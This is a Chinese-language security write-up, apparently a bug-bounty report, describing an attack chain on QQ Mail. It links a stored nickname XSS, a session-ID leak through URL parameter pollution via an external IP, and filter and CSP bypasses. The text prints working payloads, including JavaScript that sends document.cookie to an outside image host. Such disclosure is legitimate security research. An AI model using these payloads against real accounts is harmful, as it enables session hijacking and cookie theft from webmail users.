QQ郵箱從Self-XSS到釣魚攻擊分析(多漏洞利用攻擊鏈)
前言:疫情在家閒着無聊準備挖洞提src換點錢買個新電腦,對着TX的域名一頓操作,奈何太菜只在QQ郵箱發現一個存儲型self-xss。本着維護網絡安全爲己任的偉大夢想,怎麼能放任這個漏洞不被修復呢?必須繼續挖下去!!!
一、self-xss
qq郵箱在賬戶設置中因爲編輯器原因存在多處XSS,其中暱稱處存在存儲型XSS。
這個地方的XSS我想很多老哥都挖過,奈何TX不收啊, 正準備放棄的時候,腦子裏浮現了一張圖片:只有不努力的黑客,沒有攻不破的系統.png
二、抓包改命
打開BURP,進行抓包,把更改暱稱的包抓下來,發現是POST包,去掉無關參數改成get。
https://mail.qq.com/cgi-bin/setting4_editaccount? sid=g9g7NNlnserJcHAu& fun=edit&alias=6024539%40qq.com& acctid=0&taskid=0&signvalid=1& nickname=%3Cimg+src%3D1.gif+onerror%3Dalert%28"邊界駭客"%29%3E &selectSign=-1
從上面get包可以看出 nickname 爲XSS參數,其中 sid 爲關鍵參數,只要獲取到sid就可以惡意構造數據包,誘騙別人點擊從而觸發XSS。
三、坎坷的SID獲取
通過搜索觀察JS等繁瑣操作,發現本地文件上傳會自動獲取到sid值。 嘗試網絡圖片,發現網絡圖片獲取不到sid值,通過對比分析不斷嘗試,終於發現可以在上傳的時候污染url參數,讓服務器進行誤判數據包如下:
http://202.182.100.68?mail.qq.com/cgi-bin/download? sid=EUpcQayQKHM4MzNt& upfile=7ZEaLqhogztd7WCLUL6pFXYarCUpMrqvb9FQGM5%2FLP%2FOd8yiJIFnHJetwNJtTadXhJHD1o%2B%2BzMOXwZGBd45fawmHtqR0CBxF0i35YN7jRAQNg%2B6blIvZyZwWQ4V2GW4RhMuLcCc4uv%FxFICwqvJPiQ%3D%3D
讓服務器誤判圖片爲本地上傳至文件服務器的,這樣只要別人打開你的郵件就可以獲取到sid值。
四、惡意構造get包,觸發XSS獲取cookie
在構造XSS的時候發現,XSS字符串存在字符限定和觸發過濾限制,這裏要感謝公衆號:鍾馗之眼的作者
4.1字符串長度限制
<img src=1 onerror=eval(window.parent.location.hash.substr(1))>
4.2單雙引號限制
eval(String.fromCharCode())
4.3CSP繞過
img=document.createElement('img');img.src='http://image.3001.net/2020/02/eec6417cf66331c0eee621cb445e205d.jpg'+escape(document.cookie);document.body.appendChild(img);
這樣就可以完美完成此次的釣魚攻擊了。效果圖如下:
攻擊流程圖:
這次涉及的漏洞一覽:csrf+參數污染+xss+cookie without httponly+get/post濫用+邏輯漏洞+郵件信任機制不嚴格+自動加載js等
*本文原創作者:꧁,本文屬於FreeBuf原創獎勵計劃,未經許可禁止轉載